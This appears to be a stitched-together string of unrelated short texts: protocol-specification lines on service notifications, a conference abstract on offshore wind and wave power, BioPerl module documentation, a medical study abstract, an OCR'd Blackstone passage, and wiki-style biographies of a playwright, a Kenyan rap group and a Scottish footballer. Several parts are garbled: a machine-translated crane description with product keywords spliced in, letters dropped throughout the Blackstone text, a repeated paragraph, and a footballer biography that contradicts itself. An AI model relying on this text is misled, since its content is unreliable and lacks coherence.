The server MUST ignore any value set in the ullThreadId parameter in NotifyParams.
The server MUST fail the call and return ERROR_INVALID_PARAMETER if dwNotifyMask contains masks for both create/delete events and service status events.
The client can set the value of pClientProcessGuid, pSCMProcessGuid, and pfCreatRemoteQueue to any value, such as 0, and the server MUST ignore these.
The server MUST return ERROR_NOT_SUPPORTED (50) if the value of dwInfoLevel is greater than SERVICE_NOTIFY_STATUS_CHANGE.
The server MUST return ERROR_INVALID_LEVEL (124) if the value of dwInfoLevel is not SERVICE_NOTIFY_STATUS_CHANGE (0x2) or SERVICE_NOTIFY_STATUS_CHANGE_1 (0x1). | ESSENTIALAI-STEM |
Combined alternative power sources for offshore oil and gas fields
Apr 22, 2021, 4:45 PM
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oral Environmentally-Friendly Energy Conversion and Supply Enviromentally-Frendly Energy Conversion and Supply
Speaker
Mr Ershat Shafhatov (Saint-Petersburg Mining University)
Description
Decreasing of shelf oil and gas reserves forced on companies to move the production to the deepwater, where using of floating platforms becomes difficult. Weather conditions are issue of great importance is such projects too, especially in Arctic regions. Subsea technologies which are safer and more ecologically friendly become more suitable.
Production and transportation of hydrocarbons is energy-demanding process. Usually, platforms and subsea units supplies form the diesel generator or from surface cable lines.
Each energy supply method has advantages and disadvantages, but today renewable has capacity to provide the energy for the subsea technologies.
Existing technologies has limits in energy productions and key task for is constant development of renewable technologies to provide the green operating of subsea units.
This project highlights the technologies for using green energy for subsea units, various combination structures are proposed.
Wind generators are widely used in the world, both on land and at sea. However, their intermittency and variability limit the reliability of power supply. The increased interest in wave power is associated with the huge energy potential. And with these devices, power generation is more predictable and less variable than wind power.
Thus, a combination of offshore wind generators and wave converters will reduce the intermittency and variability of power generation and thus reduce the need for storage and use of generator sets.
Therefore, the combined use of these units will create a more balanced and reliable power system, which will lead to a significant reduction in energy costs. In order to facilitate the integration of marine energy sources and the development of new systems based on the use of multiple sources, a system of joint use of wave plants and wind generators for power supply of underground mining system is proposed.
Position of speaker PhD student
Affiliation of speaker Saint Petersburg Mining University
Publication Impact Factor journals
Primary author
Mr Ershat Shafhatov (Saint-Petersburg Mining University)
Co-authors
Mr Denis Ustinov (Saint-Petersburg Mining University) Mr Viacheslav Zyrin (Saint-Petersburg Mining University)
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NAME ^
Bio::Tools::Analysis::Protein::Domcut - a wrapper around Domcut server
SYNOPSIS ^
use Bio::Tools::Analysis::Protein::Domcut;
#get a Bio::PrimarySeq
use Bio::PrimarySeq;
my $seq = Bio::PrimarySeq->new
(-seq=>'IKLCVNLAILAKAHLIELALAL',
-primary_id=>'test'); # a Bio::PrimarySeqI object
my $domcut = Bio::Tools::Analysis::Protein::Domcut->new (-seq=>$seq);
$domcut->run;
print $domcut->result;# #raw text to standard out
DESCRIPTION ^
A module to remotely retrieve predictions of protein domain boundaries. Each residue in the protein receives a score, those better than the significance threshold and at a local minimum receive a rank - i.e., the best minimum is rank 1, the second best minimum is rank2 etc. These correspond to domain boundaries. e.g.,
my $analysis_object = Bio::Tools::Analysis::Protein::Domcut->new
(-seq => $seq);
creates a new object. The sequence supplied must be a Bio::PrimarySeq and not a Bio::Seq object.
$analysis_object->run;
submits the query to the server and obtains raw text output
Given an amino acid sequence the results can be obtained in 4 formats, determined by the argument to the result method
1. The raw text of the program output
my $rawdata = $analysis_object->result;
2. A reference to an array of hashes of scores for each state and the assigned state. Each element in the array is a residue (indexed from 0).
my $data_ref = $analysis_object->result('parsed');
print "score for helix at residue 2 is $data_ref->[1]{'helix'}\n";
print "predicted struc at residue 2 is $data_ref->[1]{'struc}\n";
3. An array of Bio::SeqFeature::Generic objects where each feature is a predicted unit of secondary structure. Only stretches of helix/sheet predictions for longer than 4 residues are defined as helices. So, in order to add features to an existing Bio::Seq object;
# get a Bio::Seq object
my $seqobj;
my $tool = Bio::Tools::Analysis::Protein::Domcut->new
( -seq => $seqobj->primary_seq);
$tool->run;
my @fts = $tool->result(Bio::SeqFeatureI);
$seqobj->add_SeqFeature(@fts);
# if you want meta sequences as well :
my $meta = $tool->result('meta');
$seqobj->primary_seq($meta);
# can access meta data in a Bio::Seq object via a
# call to primary_seq:
print $seq4->primary_seq->named_submeta_text('Domcut', 1,2), "\n";
4. A Bio::Seq::Meta::Array implementing sequence.
This is a Bio::Seq object that can also hold data about each residue in the sequence. In this case, the sequence can be associated with a single array of Domcut prediction scores. e.g.,
my $meta_sequence = $analysis_object->result('meta');
print "scores from residues 10 -20 are ",
$meta_sequence->submeta_text(10,20), "\n";
Many methods common to all analyses are inherited from Bio::Tools::Analysis::SimpleAnalysisBase.
SEE ALSO ^
Bio::SimpleAnalysisI, Bio::Tools::Analysis::SimpleAnalysisBase, Bio::Seq::Meta::Array, Bio::WebAgent
FEEDBACK ^
Mailing Lists
User feedback is an integral part of the evolution of this and other Bioperl modules. Send your comments and suggestions preferably to one of the Bioperl mailing lists. Your participation is much appreciated.
bioperl-l@bioperl.org - General discussion
http://bioperl.org/wiki/Mailing_lists - About the mailing lists
Support
Please direct usage questions or support issues to the mailing list:
bioperl-l@bioperl.org
rather than to the module maintainer directly. Many experienced and reponsive experts will be able look at the problem and quickly address it. Please include a thorough description of the problem with code and data examples if at all possible.
Reporting Bugs
Report bugs to the Bioperl bug tracking system to help us keep track the bugs and their resolution. Bug reports can be submitted via the web:
https://github.com/bioperl/bioperl-live/issues
AUTHORS ^
Richard Adams, Richard.Adams@ed.ac.uk,
APPENDIX ^
The rest of the documentation details each of the object methods. Internal methods are usually preceded with a _
result
Name : result
Purpose : To retrieve results of analysis in one of several formats.
Usage : $job->result (...)
Returns : a result created by running an analysis
Args : various - see keysin $RESULT_SPEC.
The method returns a result of an executed job. If the job was terminated by an error the result may contain an error message instead of the real data.
This implementation returns differently processed data depending on argument:
undef
Returns the raw ASCII data stream but without HTML tags
'Bio::SeqFeatureI'
The argument string defines the type of bioperl objects returned in an array. The objects are Bio::SeqFeature::Generic. Tagnames are 'score' and 'rank'.
'parsed'
Array of array references of [score, rank].
'all'
A Bio::Seq::Meta::Array object. Scores can be accessed using methods from this class. Meta sequence name is Domcut.
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Australia at the Paralympics - LINKS
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Australia at the Paralympicss Australia at the Paralympicsed Australia at the Paralympicsing - link with suffixes
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Franz Simon von Schönthan, Edler von Pernwald (1849–1913) was an Austrian actor and playwright.
His most successful comedy, The Abdiction of the Sabine Women, was written together with his brother Paul von Schönthan. Posthumously, several film versions and radio plays were created with this plot. This comedy can still be found in the repertoire of some theatres in German speaking countries.
Biography
He was born on 20 June 1849 in Vienna. His father was Johann Paul von Schönthan, a merchant dealing with iron. His brother Paul von Schönthan (1853–1905) became a dramatist. One of his cousins was the art historian Franz Wickhoff. In 1867, he joined the Austro-Hungarian Navy as a cadet. Four years later, he resigned for health reasons and devoted himself to acting – instead of pursuing a military career, as expected by his family.
As an actor
Schönthan took private acting lessons and debuted in a small role as an extra at the Hoftheater Dessau. Subsequently, he alternated with various ensembles i.e. in Zerbst, Köslin and Wesel among others. Over the years, he advanced to the roles of a "youthful lover". The highlight of this career were his guest appearance at the Royal Theatre and shortly thereafter at the Residenztheater, both in Berlin.
As a playwright
His plots were well suited for operettas. For example, in 1920 his comedy Renaissance became the basis of a score by German composer Eduard Künneke; it's titel though was changed into Wenn Liebe erwacht [When Love Awakens].
His last plot was the script for one of Germany's first mystery films, Where Is Coletti?, a silent movie directed by Max Mack. After his death, several of his comedies were transferred to the big screen.
Humoristic essays
Already during his time as an actor, he wrote humoristic essays and published them in several newspapers and magazines. Together with his brother Paul, from 1882 to 1887, he published four volumes of lighthearted shortstories. Publisher was the well known Reclam Verlag in Leipzig, who also edited several of his plays. In the years that followed, Schönthan took private acting lessons and was soon able to make his debut in a small role as an extra at the Hoftheater Dessau. Subsequently, he alternated with various ensembles from Zerbst, Köslin and Wesel, among others; in the process, he advanced from an extra to a "youthful lover". The highlight of this career was his guest appearance at the Royal Theatre and shortly afterwards his appearance at the Residenztheater. From 1887 on he took part in writing and editing a satirical magazine in Berlin, the Lustige Blätter [Funny Papers]. Due to another commitment in Vienna, for Wiener Tagblatt, he had to commute reguarly between the two cities. In 1888, Schönthan and his family settled in Blasewitz, then a noble village next to Dresden, today a borrough of the city. Blasewitz is en route from Berlin to Vienna. In 1892, he moved to the Pernwaldhaus, an extravagant villa in Blasewitz, constructed for him and his family. Though he did not live there for very long, between two and four years according to different sources. Thereafter he moved to Vienna. In 1896, he sold the villa.
Sole authorship
* Das Mädchen aus der Fremde (1879, Thalia Theater, Hamburg)
* Sodom und Gomorrha (1879, Wallner Theater, Berlin)
* Der Schwabenstreich (1882)
* Roderich Heller (1883)
* Kleine Hände (adaptation of a comedy by French playwright Eugène Labiche, publ. 1884)
* Villa Blancmignon (adaptation of a comedy by French playwright Henri Chivot, publ. 1884)
* Die goldene Spinne (publ. 1885)
* Circusleute (1894)
* Die goldene Eva (1896)
* Maria Theresia (1903)
Co-author with Gustav von Moser
* Krieg im Frieden (1880)
* Der Zugvogel (1880)
* Unsere Frauen (1881)
* Der Saisontyroler (1885)
Co-author with Paul vom Schönthan
* Der Raub der Sabinerinnen (1884)
Co-author with Gustav Kadelburg
* Goldfische (1886)
* Die berümte Frau (1888)
* Zwei glückliche Tage (1892)
* Der Herr Senator (1894)
* Zum wohltätifen Zweck (1895)
Further collaborations
* Komtesse Guckerl (1895, with Franz Koppel-Ellfeld)
* Renaissance (1897, with Franz Koppel-Ellfeld)
* Im bunten Rock (publ. 1906, with Wolf Ernst Hugo Emil Baudissin)
* Der Retter in der Not (around 1912, with Rudolf Presber)
Translation into English
* A Kettle of Fish, a Farcical Comedy in Three Acts (1890)
Adaptations by Augustin Daly
* Seven-twenty-eight or Casting the Boomerang, a Comedy of Today (1883)
* The Passing Regiment, a Comedy of the Day, in Five Acts (1885)
* A Night Off or A Page from Balzac, a Comedy in Four Acts (1885)
* Railroad to Love [adaptation of Goldfische]
* The Great Unknown, a Comedy in Three Acts (1890)
Film versions of his plays
* The Abdiction of the Sabine Women
* 1) Romulus and the Sabines, 1945
Private life
Schönthan was married to Elisabeth Henriette née Blume. The couple had six children, five girls and one boy. In addition, he adopted an orphan, Doris von Schönthan, who later-on became a wellknown journalist and a photographer.
He died on December 2, 1913 in Vienna. His widow died in 1940. | WIKI |
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Bridge crane classification
Bridge crane bridge crane can be divided into ordinary, simple beam bridge crane bridge crane and metallurgical dedicated three. Aka crane, driving.
General overhead cranes generally lifting trolley bridge operating agencies, bridge metal structures. Lifting trolley and the hoisting mechanism, trolley run institutions and small frame of three parts.
Lifting mechanism includes a motor, brake, reducer, drum and pulley. Motor through reducer, driving drum rotation, so that the wire rope around the drum or from a roll down to lift Scissor lift loads. Small frame and mounting bracket is lifting mechanism and trolley run institutions and other parts of the rack, usually welded structure.
Crane drive mechanism can be divided into two categories: one for the central drive, which uses an electric motor to drive long shaft-driven initiatives on both sides of the wheel; another is separately driven, that is active on both sides of each wheel with a Hand pallet jacks motor. Medium and small bridge cranes more use brakes, gear units and motors combined into one "triple play" drive mode, a large common bridge crane lifting weight for ease of installation and adjustment, universal coupling drive device often used .
Crane agencies generally only four driving and driven wheels, if the starting weight is large, common approaches to reduce the wheel increases wheel pressure. When more than four wheels, a frame must be balanced hinge device, the crane load is evenly distributed on each wheel.
The metal structure of the bridge from the main beam and side beams, divided into single girder and double girder bridge bridge categories. Single girder bridge by a single span girders and located on both sides of the end beam composed of two dual-beam bridge girders and by the end beam components.
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L-folic acid supplementation in healthy postmenopausal women: effect on homocysteine and glycolipid metabolism
Paola Villa, Concetta Perri, Rosanna Suriano, Francesco Cucinelli, Simona Panunzi, Micaela Ranieri, Cristina Mele, Antonio Lanzone
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Abstract
CONTEXT: Hyperhomocysteinemia as well as alterations of glycemic and lipidic metabolism are recognized as risk factors for cardiovascular diseases. OBJECTIVE: The aim of this study was to examine the effect of L-folic acid supplementation on homocysteine (Hcy) and related thiols, such as cysteine (Cys) and Cys-glycine (Cys-Glyc) pathways and their relationship to glucose, insulin, and lipidic metabolism in normoinsulinemic postmenopausal women. DESIGN: This study was a randomized placebo, not double-blind, trial. SETTING: The study was performed in an academic research center. PATIENTS OR OTHER PARTICIPANTS: Twenty healthy postmenopausal women were selected. No patient was taking drugs known to affect lipid or glucose metabolism. INTERVENTION(S): Patients underwent two hospitalizations before and after 8 wk of L-acid folic (7.5 mg/d) or placebo administration. The glycemic metabolism was studied by an oral glucose tolerance test and a hyperinsulinemic euglycemic clamp. Hcy metabolism was studied by a standardized oral methionine-loading test. MAIN OUTCOME MEASURE(S): Hcy, Cys, and Cys-Glyc, basally and after a methionine loading test, were measured. Basal insulin, glucose, and peptide C levels as well as area under the curve for insulin, area under the curve for peptide, hepatic insulin extraction, and metabolic index were assayed. The total cholesterol, high-density lipoprotein (HDL) cholesterol, and low-density lipoprotein (LDL) cholesterol levels and the cholesterol/HDL and LDL/HDL ratios were also measured. RESULTS: The total basal Hcy concentration and the plasma postmethionine loading Hcy values were significantly decreased (P < 0.01) in L-folic acid-treated patients, whereas postmethionine loading Cys-Glyc levels were markedly increased (P < 0.02). Furthermore, L-folic acid intake induced a significant improvement in carbohydrate metabolism through an increase in fractional hepatic insulin extraction (P < 0.05) and peripheral insulin sensitivity (P < 0.02) in normoinsulinemic women. HDL levels considerably increased, inducing an improvement in other atherosclerotic indexes, such as cholesterol/HDL and LDL/HDL ratios (P < 0.03). CONCLUSIONS: These results show that folic acid supplementation lowers plasma Hcy levels and improves insulin and lipid metabolism, reducing the risk of cardiovascular disease
Lingua originaleEnglish
pagine (da-a)4622-4629
Numero di pagine8
RivistaTHE JOURNAL OF CLINICAL ENDOCRINOLOGY AND METABOLISM
Stato di pubblicazionePubblicato - 2005
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• L-folic acid
• metabolism
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404 therefore the firt dignity, after the nobility, is a knight of the order of St. George, or of the garter; firt intituted by Edward III, A. D. 1344 . Next follows a knight banneret; who indeed by tatutes 5 Ric. II. t. 2. c. 4. and 14 Ric. II. c. 11. is ranked next after barons: and that precedence was confirmed to him by order of king James I, in the tenth year of his reign. But, in order to intitle himelf to this rank, he mut have been created by the king in peron, in the field, under the royal banners, in time of open war. Ele he ranks after baronets; who are the next order: which title is a dignity of inheritance, created by letters patent, and uually decendible to the iue male. It was firt intituted by king James the firt, A. D. 1611. in order to raie a competent um for the reduction of the province of Ulter in Ireland; for which reaon all baronets have the arms of Ulter uperadded to their family coat. Next follow knights of the bath; an order intituted by king Henry IV, and revived by king George the firt. They are o called from the ceremony of bathing, the night before their creation. The lat of thee inferior nobility are knights bachelors; the mot antient, though the lowet, order of knighthood amongt us: for we have an intance of king Alfred's conferring this order on his on Atheltan. The cutom of the antient Germans was to give their young men a hield and a lance in the great council: this was equivalent to the toga virilis of the Romans: before this they were not permitted to bear arms, but were accounted as part of the father's houhold; after it, as part of the public. Hence ome derive the uage of knighting, which has prevailed all over the wetern world, ince it's reduction by colonies from thoe northern heroes. Knights are called in Latin equites aurati; aurati, from the gilt purs they wore; and equites, becaue they always erved on horeback: for it is obervable, that almot all nations call their knights by ome appellation derived from an hore. Rh | WIKI |
Concejo (Álava)
The concejos (kontzejuak, concejos) are a type of sub-municipal administrative unit in the province of Álava, Basque Country, Spain.
Within the Spanish legal framework, the general name for such sub-municipal units is minor local entity (formally in entidad de ámbito territorial inferior al municipio also known by their acronym EATIM).
The existence of concejos in Álava is documented since the 13th century. Their current status dates from 1984, when a law providing for elections to the concejos was passed; and from 1995, when their juridical status was clarified. | WIKI |
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254CMG Music Profile
Group Name: Change Making Group
Acronym: 254CMG
Members: Superprodusir – Music Producer & Founder;
Lox De Chiz – Rapper & co-founder;
MADE – Rapper,Photographer;
Elia – Rapper, singer, guitarist;
Dally Boy – Rapper, Song writer;
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67Karatz – Rapper, Song writer;
GROUP PROFILE
CMG is a group of young talented artists in Nairobi, Kenya founded by Samuel Lukorito otherwise known as Lox de Chiz and Christopher Ngare otherwise known as Superprodusir or CMG BEatz in early 2012. Its formation was based on the love for music and the need for other talented artistes to work collaboratively in unity and show the world that as much as Kenya is a diverse country we can put all the diversity together and make something good and entertain. The group is based in Nairobi who and the members are entrepreneurs specialized in different forms of art more so music, motion pictures, photography and poetry. These artists work under the record label hereby known as Chris Muzik. CMG is regarded as a family of artistes who work and bond like a family in making music and providing quality entertainment music-wise. It consists of artistes who are skilled in various aspects of art like: rap, singing, song writing, and photography among other things. All these aspects are put together collaboratively to create our music. They released their first official group single “254 United” in late 2012 which was a song to motivate Kenyans to stay united and keep the peace as they have over the years and not to be divided by any form of ideology. Throughout the whole of 2013 each artiste worked on various projects and in December 2013 they released their first official group mixtape “This is CMG” which consisted of hit tracks like Keth Kilonzo and The Zone Remix among others which were all received greatly by fans all over Kenya and the world.
Artistes Profile
Birth Name: Christopher Ngare
Stage Name: Superprodusir(CMG BEatz)
D.O.B: 31/12/1990
Role: Producer, Rapper, Singer, Song writer
Genres: Multigenre – Hip-hop (Main)
Nationality: Kenyan
Twitter @superproduser
At his young age he is a music producer, rapper, singer and song writer. He is a founder and member of CMG(Change Making Group). His interest in music started when he was a small boy as he listened to the hiphop gurus like Eminem, Dr.Dre, Nas, and E-sir. When he joined high school he developed even more interest in music and learned how to play the piano to an intermediate level all this having taught himself. His first performances were in high school Moi Forces Academy where he developed even more interest in music production and composition. He recorded his first song “Tunajirusha” at Deep East Media while in high school along with a few of his other friends who are also his current artistes Lox de Chiz, V-key, K-war and Lapoze which turned out to be an inspiration to many in his school. After high school he worked with Subchief Records for a while where he got some experience and had a dream of starting out his own production house. In early 2010, he had a few artistes he was producing for and later started up ACE Muzik which is currently Chris Muzik. In early 2012 he produced a hit song which was famous to many Kenyans as “Ujinga Ni” where he collaborated with Evano Shezol and Lox de Chiz. Ever since, Chris has worked with various artistes who are Lox de Chiz, Shamz Mc, Gandhi Blaka Blaka, Evano Shezol, Mchizi Gaza, Shafto, Khloe and Ken Kennah
Birth Name: Denis Muyelele
Stage Name: 67Karatz
D.O.B: 28/9/1992
Role: Rapper, Song writer
Genres: Urban Hip-hop
Nationality: Kenyan
Twitter @67karatz
67Karatz is an African-Kenyan based rapper and a member of the group, Change Making Group (254CMG). He was born and breed in Nairobi by a single mum, he got interested in the pop culture at the age of 13 influenced by 2pac, 3-6 mafia, Lil Wayne and Dr. Dre. After joining high school he began free styling and battling with the senior students which led to him starting his crew U.N ‘United Negroz’ with; Kingpin, E.M.G, Bush and Carter. Whereby they recorded a freestyle street mixtape of 6tracks titled ‘MELANIC’ in the school’s art room using just a laptop and internet beats, which gained them popularity in school’s around Nairobi, winning almost every talent search competitions around and later named the best high school rap band according to ‘The Insyder Magazine 2011’ Later after clearing high school he met with CMG beAtZ where he got an opportunity to record his first official song ‘STRUGGLES’ and ‘NGORI’-Stin ft Shamz Mc. This led into him signing up to join the #254CMG family, where he is currently compiling his debut album titled ’CITY BEHIND THE MOON’ scheduled to premiere this summer 2014,produced by CMG beAtZ comprising of urban tunes and feel, anticipated to shake-up the rap game after release. He is much optimistic of the albums’ success in the mainstream charts after its prompt release.
Birth Name: Mark Denver Karubiu
Stage Name: MADE
D.O.B: 20/10/1992
Role: Rapper, Song writer, Singer
Genres: Urban Hip-hop
Nationality: Kenyan
Twitter @madekarubiu
He was born and raised in Wang’uru, Kirinyaga. In 2009, he graduated from Nguviu High School. He is currently a student at the University of Nairobi and a Photographer/Cinematographer under his stable, Karubiu Photography & Design. He is a Kenyan rapper and singer-songwriter. He joined the Hip Hop group 254CMG at the group’s inception. He released a 5 track EP, IAMADE in 2012, which spearheaded his musical career. In an interview, he described himself a geek, which is evident in all his songs. On 31st January 2014, He released his Debut Mixtape, MADE by MADE, recorded at Chris Muzik Studios. His affiliation to The Change Making Group (254CMG) has made him perform in Nairobi’s biggest Hip Hop event, The Hip Hop Hookup. His love for music begun during his frequent visits to the Chris Muzik Studios, where he would sit in and watch as artists recorded their music. Over time, he released his first collaboration, Mafala with CMG BEatz and Lox De Chiz, both from 254CMG. He went on to collaborate with CMG BEatz on his famous track, The Zone, later on remixed by all 254CMG artists. The tracks are all featured in his EP, IAMADE.
Birth Name: Samuel Lukorito
Stage Name: Lox de Chiz
D.O.B: 1/5/1991
Role: Rapper, song-writer
Genres: Hip-hop/Rap
Nationality: Kenyan
Twitter @loxdechizi
Lox is the first born in a family of five siblings. Grew up in Nairobi, Nakuru, Eldoret and his home town Lugari. His interest in music started ever since he was young. His first performances were in high school Moi Forces Academy where he developed even more interest in song writing and performing. He recorded his first song “Tunajirusha” at Deep East Media while in high school along with a few of his other friends who are also his current artistes Superproduser, V-key, K-war and Lapoze which turned out to be an inspiration to many in his school. After high school he joined Kenya Methodist University to pursue a course in business. In early 2010 he started recording with ACE Muzik which is currently Chris Muzik. In early 2012 he produced a hit song which was famous to many Kenyans as “Ujinga Ni” where he collaborated with Evano Shezol and Superproduser. He also participated in the competition Operation Chomoka Msanii and came out the winner with the prize being a free video by Sonic Sounds. Ever since,Lox has worked with various artistes who are Superproduser, Shamz Mc, Gandhi Blaka Blaka, Evano Shezol, Khloe and Ken Kennah, Influx multi-talent swagga,Keygun,Chiziko,Lapoze,V-key. In the same year 2012 Chris joined with Lox de Chiz and formed a group called CMG (Change Making Group) which has been signing in talented upcoming artistes. He has released one mix tape “Ndio Ujue Hujui” and a group mix tape “This is CMG” which have been received by his ever growing fan base.
Birth Name: Martin Hussein .K. Wangari
Stage Name: Stin
D.O.B: 12/11/1990
Role: Rapper, Song writer
Genres: Hip-hop, RnB, Afrodance
Nationality: Kenyan
Twitter @realstin
Stin is authentic, creative, and entertaining. His love for music began at a tender age, at the age of twelve he wrote his first ever verse which became his revelation and from there onwards he has grown to be one of the best lyricist of his generation. Stin is a Muslim and the first born in a family of two. Been born and raised by a single mother have been his strong motivation and pillar to his dedication in whatever he does. His interest in music was through inspiration from both local and international artists like: Easy-E, 2pac, Biggie, Eminem, NWA, Twista, Bone Thugs n Harmony Daudi kabaka, Kalamashaka, E-sir, One 2 moja, Maumau, Abass, Chiwawa among others. His lyrical flow less has made him share stages with well established artist in the industry and even work with some of them like Octopizzo in the first ever chaguo la teeniez cypher which was one of his best experience. He has managed to collaborate with a few artists like: Nafsi Huru, Cmg Beatz, 67karatz, Lox de chiz,Dally boy, Phoolish ,Made, Shamz Mc among others. As an artist under Chris muzik he has managed to work on some well received tracks like “Wanataka, Ngori ft 67karatz & Shamz Mc” with both of them getting good reception even beyond the border.
Birth Name: Daniel Krop
Stage Name: Phoolish Buoy
D.O.B: 31/1/1994
Role: Rapper, Song writer
Genres: Hip-hop, Trap
Nationality: Kenyan
Twitter @PhoolishBuoy
He is an African rapper from Nairobi, Kenya. He is known for his rap prowess and skill in hiphop and trap music. He is regarded as the king of trap in Nairobi. “I started recording from my laptop the beat playing from the music system. The clarity was very poor since I never knew about software and what we call mastering afterwards.” With little connection, he got to contact Superprodusir, otherwise known as CMG Beatz. “He and I went to the same high school so he knew a little of what I had.” He recorded his first track “Lurh That” with his group member Dally Buoy which got them a record deal with Chris Muzik to join the group CMG which was the start of his music career. He has ever since been releasing tracks under the group and has recently released his first single “Blind Man” which has been received well by his fans both in Kenya and abroad. He was taken in as one of the first affiliates of CMG and did a couple of projects before signing the contract in 2012. “Since then we've always been working and am loving my fam all the way.”
Birth Name: Elia Chebet
Stage Name: Elia
D.O.B: 15/08/1992
Role: Rapper, Singer, Song-writer, Guitarist
Genres: Hip-hop, House, Rock
Nationality: Kenyan
Twitter @Eliasummer
She has been doing music since she was 2 years old playing instruments like the guitar and the piano and also has a part time rock band called wet clothe, she has mc for events and came first in the last battle of the bands. She is currently working on her first mixtape called “Purple Dreams” inspired by her love and rise in music sings and also raps. She has worked with other artistes like Large Gang Kenya and producers like Nick Wathi and artist like Doveslimme. Her first encounter with CMG was when she was featured in “Run My Town” by 67Karatz of CMG where her musical prowess was discovered and this got her a record deal with Chris Muzik She has had a single called “True African” which has played on radio and landed her interviews on homeboyz radio.
Birth Name: Leon Bidali
Stage Name: Dally Boy
D.O.B: 25/12/1990
Role: Rapper, Singer, Song-writer, Guitarist
Genres: Hip-hop, House, Rock
Nationality: Kenyan
Twitter @DallyBoyET
He launched his music career in 2011 when he joined fellow rapper Phoolish Boy to form the group New Religion under the recording label CMG (Change Making group) headed by the Producer Chris ‘Superprodusir’ Muthama. Dally boy had been rapping since he was a young boy, growing up listening to his idols like Tupac, Dr Dre, E-sir, Mashifta. He decided to finish school before he took music seriously. He attended Race Course Primary School and St. Mary’s High School. He attended Inoorero University. With New Religion, he recorded songs such as All Work, Nairobi, Black D’s, and Head Bop among others. Dally Boy mainly raps Trap Music but is versatile to do other genres such as Afro House, Bongo and RnB. As a solo artist, he has recorded fan favourites such as Till Dawn which is an Afro House song. He recently recorded a song with Superprodusir that went viral called Keth Kilonzo. The song managed to get about 1000 views on YouTube and airplay on Homeboyz radio and Mashariki Online radio. He also recorded a song with the same artist, called Mariana. Dally Boy has also had a number of performances at The Carnivore, Parkview Inn Nairobi, The Office Lounge, Casablanca and Daystar University. In his personal life, Dally Boy has a son, named L.J. He hails from Syokimau, which is his current residence. He is very open minded and a down to earth person who relates well with anyone. One of his most common attributes according to anyone who knows him is his huge sense of humor and is generally a hilarious person. | WIKI |
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Christopher John "Chris" Clifford (14 June 1990) is a Scottish Womens football manager and former player.
Clifford started his career at amateur side Glasgow West AFC before moving to Partick Thistle in 2006. He went on to play at Airdrie United scoring 5 goals in 12 games before picking up a career ending injury during a Scottish Cup match against Hibernian.
After a three year absence, Clifford made his return to football by returning to Glasgow West in 2011. His return didn't last long however, as he then moved on to rival side Glasgow East in 2011. He played 3 games without a goal for his new club until he scored 2 goals in a cup win over old club Glasgow West. In the same year, he signed for Highland club Clachnacuddin, where he went on to score 8 goals in his 18 appearances for the club. A short spell at junior side Shettleston Juniors marked a short stint in junior football. He played 2 games, one of which was as right back before being released by the club. Clifford's last flurry as a player came at East Glasgow F.C. Due to fitness concerns, his appearances for the club were limited until the club entered a relegation battle where he scored 4 goals in 4 matches. However, this could not stave off relegation and the club subsequently folding.
Glasgow West AFC
Clifford's first club was Glasgow West in 2004 as a 14 year old, learning his trade. Under manager John Wilcox, Clifford went on to score 24 goals in 37 games at the club, over a two year stint. This caught the attention of scouts from across the country, including Partick Thistle, where he would go on to sign a youth deal with.
Partick Thistle
Clifford side a youth contract at Partick Thistle in 2006. His time there was lackluster as he only gained a hand full of games, netting only twice. In 2007, Clifford, along with several other youth team players, where released from their contracts when new manager Ian McCall took over.
However, other clubs in Scotland and USA showed their interest in Clifford as he searched for his next adventure.
Airdrie United
In 2007, Clifford turned down a move to MLS club Houston Dynamo to sign for local side Airdrie United. Clifford started his tenure here in fine fashion, scoring 2 goals in a reserve game against East Fife. He went on to make several appearances for the reserve side before moving up to the senior team. On February 10th 2007, Clifford would make his debut at Airdrie United, coming off the bench in the match against Alloa Athletic. Clifford would go on to make a further 4 appearances for the club. Netting his first of 5 goals against Dumbarton on February 17th 2007. This form would come to an abrupt end, when on March 24th 2007, in a Scottish Cup match against Hibernian, Clifford would come on as a 71st minute substitute. After making an big impact to the game, on 83 minutes, disaster struck, as Clifford was brought down by the Hibernian defender, which resulted in Clifford's debut, and career, coming to an end. Later tests revealed that Clifford had dislocated his kneecap, tore both ACL and MCL ligaments and ruptured his cartilage. This would end his playing days for three years after leaving the club.
Glasgow West AFC
After a three year absence, Clifford would return to football by joining his first club Glasgow West in 2011. He would go on to find his original form by scoring 9 goals in 7 games before moving on to club rivals Glasgow East.
Glasgow East AFC
Clifford's first goals for his new club came against his old Glasgow West where he netted twice in the cup game. Clifford played, in total, 13 times for Glasgow East, scoring 7 before being signed by Highland club Clachnacuddin.
Clachnacuddin FC
In 2011, Clifford joined Highlanders Clachnacuddin in time for their season start. His debut would come on August 13th 2011, against Formatine United. The result ended in a 2-2 draw, with Clifford coming on as a 85th minute substitute. His first goal for the club would come a week later on August 20th 2011 against Lossiemouth. Clifford's side went on to win 4-1. Clifford would make 18 appearances at the club, scoring 8 goals. He looked to have found his previous form before injury. However, on January 7th 2012, in a match against Huntly, Clifford would clash with his goalkeeper during a corner, resulting in the keeper having a bash to the head, but would be able to continue. However, several minutes later, keeper Ryan Goulding would collapse on the pitch, and later would be pronounced dead upon arrival at Raigmore Hospital. Tests showed that an aneurysm in the brain had been inflicted during the clash with Clifford. This resulted in Clifford's departure from the club and his hiatus from football as he came to terms of what happened.
Shettleston Juniors
Clifford would return to football in March 2012, when he joined ladies side, Wishaw Ladies as a coach. May 2012 laid host to Clifford's return to playing when he signed with Shettleston Juniors. However, this would last only two games as during his second match with the club, he would tear his hamstring, resulting in his release from the club.
East Glasgow AFC
In August 2012, Clifford would join East Glasgow AFC. Due to fitness issues however, his appearances where limited. He would go onto make several substitute appearances for the club, scoring 2 goals. East Glasgow AFC would enter the relegation battle at the end of the season, with several players leaving the club. This would give Clifford the opportunity first team action, scoring 4 goals in as many games for the club. However, this was not enough to stave off relegation, and the club folding at the end of the season. During this time, his coaching career was moving forward when he moved to Hamilton Caledonian Thistle Ladies in December 2012 as the assistant manager.
Wishaw Ladies F.C
Clifford joined Wishaw Ladies in March 2012 as a coach. The club played only two matches during this time against Viewfield Rovers LFC which both resulted in losses. In November 2012, most players would leave the club due to the lack of leadership from the manager. Clifford would end up moving with the players.
Hamilton Caledonian Thistle Ladies
This would be Clifford's step up in coaching as he took the assistant managers position at Hamilton Caledonian Thistle. After a long season, in which results rarely went the way of his side, the manager would end up being suspended from the club for the final game of the season against Mill United, who had beaten his side 10-1 previously in the season. Clifford was given the opportunity to put his skills to the test. His team would go on to narrowly lose 2-1. However, an altercation with the club owner would result in Clifford leaving the club at the end of the season.
Kirkintilloch Rob Roy Ladies
This would mark Clifford's first managerial position when he took the reigns at Kirkintilloch Rob Roy Ladies. The season had it's ups and downs with the club suffering an opening defeat to East Fife L.F.C. | WIKI |
